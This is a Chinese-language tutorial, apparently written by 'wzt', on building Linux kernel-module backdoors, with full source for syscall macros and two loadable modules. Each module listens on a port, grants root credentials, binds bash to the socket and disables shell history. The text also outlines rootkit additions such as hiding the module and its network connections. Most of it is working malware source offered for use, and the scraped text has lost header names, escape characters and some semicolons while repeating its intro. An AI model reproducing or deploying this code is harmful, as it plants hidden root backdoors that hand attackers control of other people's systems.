所谓内核后门， 指的是在内核空间中给hacker提供的可远程控制的shell模块， 性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。
所谓内核后门， 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽， 性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能，有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的'rootkit'。
本文只介绍2种实现内核后门的基本方法，如果您有更好的方法，还请多多指教。
二. 内核中系统调用
Unix世界中一切皆文件的思想将socket通信变的简单的多， 通常我们直接可以用read，write等api函数作为socket通信的方法，这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数，如：
int my_read(int fd, char * buf, off_t count)
{
long __res;
__asm__ volatile ("push %%ebx; int x80; pop %%ebx"
: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d" ((long)(count)) :"memory");
return (int)(__res);
}
这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号，ebx，ecx，edx依次存入read函数的参数。最后执行一个int x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能， 就必须调用某些函数来进行socket通信。 本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。
通过上面的例子，我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中，这样在内核空间执行系统调用感觉效率会很低，但是对我们来说，编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。
Linux内核提供了很多个不同的系统调用，我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏：
#define my__syscall_return(type, res)
do {
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) {
errno = -(res);
res = -1;
}
return (type) (res);
} while (0)
#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
type name(type1 arg1,type2 arg2,type3 arg3)
{
long __res;
__asm__ volatile ("push %%ebx ; int x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)) : "memory");
my__syscall_return(type,__res);
}
my_syscall3代表这个系统调用有3个参数，以read系统调用为例，我们可以在内核空间中这样使用它：
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
编译的时候就会被展开成:
int read(int fd, char * buf, off_t count)
{
long __res;
__asm__ volatile ("push %%ebx; int x80; pop %%ebx"
: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d" ((long)(count)) :"memory");
return (int)(__res);
}
本文后面将会给出比较全面的宏，通过这些宏，可以在内核中随意的使用系统调用。
好了，现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的：
Linux-2.6.18/net/socket.c
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
unsigned long a[6];
unsigned long a0,a1;
int err;
...
a0=a[0];
a1=a[1];
switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
case SYS_BIND:
err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
break;
case SYS_CONNECT:
err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_LISTEN:
err = sys_listen(a0,a1);
break;
case SYS_SOCKETPAIR:
err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
break;
case SYS_SEND:
err = sys_send(a0, (void __user *)a1, a[2], a[3]);
break;
...
}
通过向sys_socketcall函数2个参数来执行具体的函数调用，参数call一般为SYS_SOCKET, SYS_BIND等，args是一个数组，通过向这个数组的每个元素赋值，来调用不同的函数。以bind这个函数为例，可以这样调用：
struct sockaddr_in cli_addr;
unsigned long args[];
args[0] = sock_fd;
args[1] = (unsigned long)cli_addr;
args[2] = (unsigned long)sizeof(struct sockaddr_in);
sys_socketcall(SYS_BIND, args);
其他函数类似。这样就可以在内核中来使用这些socket函数了。
下面给出一个具体的监听某一个端口的例子：
int k_listen(int port)
{
struct task_struct *tsk = current
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
mm_segment_t old_fs;
char buff[100];
unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;
old_fs = get_fs();
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;
/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;
set_fs(KERNEL_DS);
ssetmask(~0);
for (i=0; i < 4096; i++)
close(i);
if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
set_fs(old_fs);
return 0;
}
printk("create socket ok.n");
/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;
arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);
if ((socketcall(SYS_BIND, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("bind address ok.n");
/* begin listen */
arg[0] = sock_fd;
arg[1] = (unsigned long) 255;
if ((socketcall(SYS_LISTEN, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("listen on port %dn", port);
cli_len = sizeof(cli_addr);
arg[0] = sock_fd;
arg[1] = (unsigned long) &cli_addr;
arg[2] = (unsigned long) &cli_len;
if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
printk("accept error.n");
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("accept a client.n");
dup2(sock_id, 0);
dup2(sock_id, 1);
dup2(sock_id, 2);
execve(earg[0], (const char **) earg, (const char **) env);
close(sock_id);
close(sock_fd);
set_fs(old_fs);
return 1;
}
所谓内核后门， 指的是在内核空间中给hacker提供的可远程控制的shell模块， 性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。
三.使用kernelmode socket函数
前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的，同样在Linux-2.6.18/net/socket.c中：
在user mode socket中的socket函数的功能是建立个套接字，它是调用sys_socket函数来实现的，因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的：
asmlinkage long sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;
retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
goto out;
retval = sock_map_fd(sock);
if (retval < 0)
goto out_release;
out:
return retval;
out_release:
sock_release(sock);
return retval;
}
关键就2个函数，sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。 有兴趣的读者可以继续深入这些函数，看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于sys_bind, sys_listen等，我们用同样的办法来处理。有了源代码，看它们怎么实现，我们就怎么实现。
下面给出一个监听某端口的例子：
int k_listen(void)
{
struct socket *sock,*newsock;
struct sockaddr_in server
struct sockaddr client[128];
char address[128];
int sockfd, sockid, i,size = 0;
int error = 0,len = sizeof(struct sockaddr);
//set_fs(KERNEL_DS);
error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error < 0) {
printk("[-] socket_create failed: %dn",error);
sock_release(sock);
return -1;
}
sockfd = sock_map_fd(sock);
if (sockfd < 0) {
printk("[-] sock_map_fd() failed.n");
sock_release(sock);
return -1;
}
for (i = 0; i < 8; i++)
server.sin_zero[i] = 0;
server.sin_family = PF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
error = security_socket_bind(sock,(struct sockaddr *)&server,len);
if (!error) {
error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
if (error < 0) {
printk("[-] unix_bind() failed.n");
sock_release(sock);
return -1;
}
}
error = sock->ops->listen(sock,5);
if (error < 0) {
printk("[-] unix_listen failed.n");
sock_release(sock);
return -1;
}
printk("[+] listen port %d ok.n",port);
if (!(newsock = sock_alloc())) {
printk("[-] sock_alloc() failed.n");
sock_release(sock);
return -1;
}
newsock->type = sock->type;
newsock->ops = sock->ops;
printk("[+] waiting for a client.n");
if (newsock->ops->accept) {
error = security_socket_accept(sock,newsock);
if (error < 0)
goto out_release;
if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
printk("[-] accept got a signal.n");
goto out_release;
}
else if (error < 0) {
printk("[-] unix_accept failed.n");
goto out_release;
}
if (newsock->ops->getname(newsock,client,&len,1) < 0)
goto out_release;
security_socket_post_accept(sock,newsock);
sockid = sock_map_fd(newsock);
if (sockid < 0) {
printk("[-] sock_map_fd() failed.n");
sock_release(newsock);
return -1;
}
printk("[+] accept a client.n");
kshell(sockid);
}
return 1;
out_release:
sock_release(sock);
sock_release(newsock);
return 0;
}
四. 如何扩展后门
如果费这么大力气在内核中就实现了这么简单的功能，还不如在用户空间实现。
问题关键是我们现在在内核中，只要对内核有足够的了解，还有什么不能实现的呢?
内核源码在手，能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧， 如隐藏网络连接，hack下tcp4_seq_show就行了，隐藏模块list_del一下就行了。为了控制方便，加个pty支持吧。再牛的搞个端口复用吧。想嗅探启动吗?用netfilter过滤下就行了。
下面说说编写更高级后门时需要注意的一些地方：
1. 现在你在内核中，就要考虑并发和竞态的问题，给临界区加个锁或信号量是不错的选择。
2. 如果你想做一个定时回连的后门，请不要使用内核定时器。 它的执行函数是在原子方式下执行的，也就是这个时候你不能去访问用户空间的东西，如果引起了休眠，内核可能就oops了。你可以使用schedule_timeout()让当前模块休息几秒，当调度程序把它调度回来的时候在尝试一次回连的操作，就不会有问题了。
所谓内核后门， 指的是在内核空间中给hacker提供的可远程控制的shell模块， 性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。
五. 参考资料
[1] Linux kernelsource code
http://www.kernel.org
[2] sk1.3-b source code – sd
http://sd.g-art.nl/sk
[3] enyelkm 1.2 - RaiSe &&David Reguera
http://www.enye-sec.org
[4] wnps-2.26 – wzt
http://hi.baidu.com/wzt85
六. 相关源代码
Syscalls.h
/* macros de syscalls */
int errno;
#define my__syscall_return(type, res)
do {
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) {
errno = -(res);
res = -1;
}
return (type) (res);
} while (0)
/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name)
type name(void)
{
long __res;
__asm__ volatile ("int x80"
: "=a" (__res)
: "0" (__NR_##name));
my__syscall_return(type,__res);
}
#define my_syscall1(type,name,type1,arg1)
type name(type1 arg1)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)) : "memory");
my__syscall_return(type,__res);
}
#define my_syscall2(type,name,type1,arg1,type2,arg2)
type name(type1 arg1,type2 arg2)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2))
: "memory");
my__syscall_return(type,__res);
}
#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
type name(type1 arg1,type2 arg2,type3 arg3)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)) : "memory");
my__syscall_return(type,__res);
}
#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4)
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)),"S" ((long)(arg4)) : "memory");
my__syscall_return(type,__res);
}
#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,
type5,arg5)
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; "
"int x80 ; pop %%ebx"
: "=a" (__res)
: "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))
: "memory");
my__syscall_return(type,__res);
}
Kshell.c
/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "syscalls.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
#define __NR_e_exit __NR_exit
#define SGID 0x489196ab
#define HOME "/"
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
char *env[]={
"TERM=Linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };
static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
__sighandler_t, handler);
/**
* the code copy from adore-ng
*/
int wnps_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
/**
* in_aton - change str to ipv4 address.
*
* see net/core/utils.c
*/
__u32 wnps_in_aton(const char *str)
{
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '') {
val = 0;
while (*str != '' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '')
str++;
}
}
return(htonl(l));
}
int k_listen(int port)
{
struct task_struct *tsk = current
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
mm_segment_t old_fs;
char buff[100];
unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;
old_fs = get_fs();
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;
/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;
set_fs(KERNEL_DS);
ssetmask(~0);
for (i=0; i < 4096; i++)
close(i);
if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
set_fs(old_fs);
return 0;
}
printk("create socket ok.n");
/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;
arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);
if ((socketcall(SYS_BIND, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("bind address ok.n");
/* begin listen */
arg[0] = sock_fd;
arg[1] = (unsigned long) 255;
if ((socketcall(SYS_LISTEN, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("listen on port %dn", port);
cli_len = sizeof(cli_addr);
arg[0] = sock_fd;
arg[1] = (unsigned long) &cli_addr;
arg[2] = (unsigned long) &cli_len;
if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
printk("accept error.n");
close(sock_fd);
set_fs(old_fs);
return 0;
}
printk("accept a client.n");
dup2(sock_id, 0);
dup2(sock_id, 1);
dup2(sock_id, 2);
execve(earg[0], (const char **) earg, (const char **) env);
close(sock_id);
close(sock_fd);
set_fs(old_fs);
return 1;
}
static int ksocket_init(void)
{
printk("ksocket start.n");
k_listen(22);
}
static void ksocket_exit(void)
{
printk("ksocket exit.n");
}
module_init(ksocket_init);
module_exit(ksocket_exit);
Kshell1.c
/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "syscalls.h"
#define port 8800
#define LEN 256
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
#define SGID 0x489196ab
#define HOME "/"
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
char *env[]={
"TERM=Linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);
int kshell(int sock_fd)
{
struct task_struct *tsk = current;
mm_segment_t old_fs;
old_fs = get_fs();
set_fs(KERNEL_DS);
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;
dup2(sock_fd, 0);
dup2(sock_fd, 1);
dup2(sock_fd, 2);
execve(earg[0], (const char **) earg, (const char **) env);
set_fs(old_fs);
return 1;
}
int k_listen(void)
{
struct socket *sock,*newsock;
struct sockaddr_in server
struct sockaddr client[128];
char address[128];
int sockfd, sockid, i,size = 0;
int error = 0,len = sizeof(struct sockaddr);
//set_fs(KERNEL_DS);
error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error < 0) {
printk("[-] socket_create failed: %dn",error);
sock_release(sock);
return -1;
}
sockfd = sock_map_fd(sock);
if (sockfd < 0) {
printk("[-] sock_map_fd() failed.n");
sock_release(sock);
return -1;
}
for (i = 0; i < 8; i++)
server.sin_zero[i] = 0;
server.sin_family = PF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
error = security_socket_bind(sock,(struct sockaddr *)&server,len);
if (!error) {
error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
if (error < 0) {
printk("[-] unix_bind() failed.n");
sock_release(sock);
return -1;
}
}
error = sock->ops->listen(sock,5);
if (error < 0) {
printk("[-] unix_listen failed.n");
sock_release(sock);
return -1;
}
printk("[+] listen port %d ok.n",port);
if (!(newsock = sock_alloc())) {
printk("[-] sock_alloc() failed.n");
sock_release(sock);
return -1;
}
newsock->type = sock->type;
newsock->ops = sock->ops;
printk("[+] waiting for a client.n");
if (newsock->ops->accept) {
error = security_socket_accept(sock,newsock);
if (error < 0)
goto out_release;
if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
printk("[-] accept got a signal.n");
goto out_release;
}
else if (error < 0) {
printk("[-] unix_accept failed.n");
goto out_release;
}
if (newsock->ops->getname(newsock,client,&len,1) < 0)
goto out_release;
security_socket_post_accept(sock,newsock);
sockid = sock_map_fd(newsock);
if (sockid < 0) {
printk("[-] sock_map_fd() failed.n");
sock_release(newsock);
return -1;
}
printk("[+] accept a client.n");
kshell(sockid);
}
return 1;
out_release:
sock_release(sock);
sock_release(newsock);
return 0;
}
int k_socket_init(void)
{
printk("[+] kernel socket test start.n");
k_listen();
}
void k_socket_exit(void)
{
printk("[+] kernel socket test over.n");
}
module_init(k_socket_init);
module_exit(k_socket_exit);
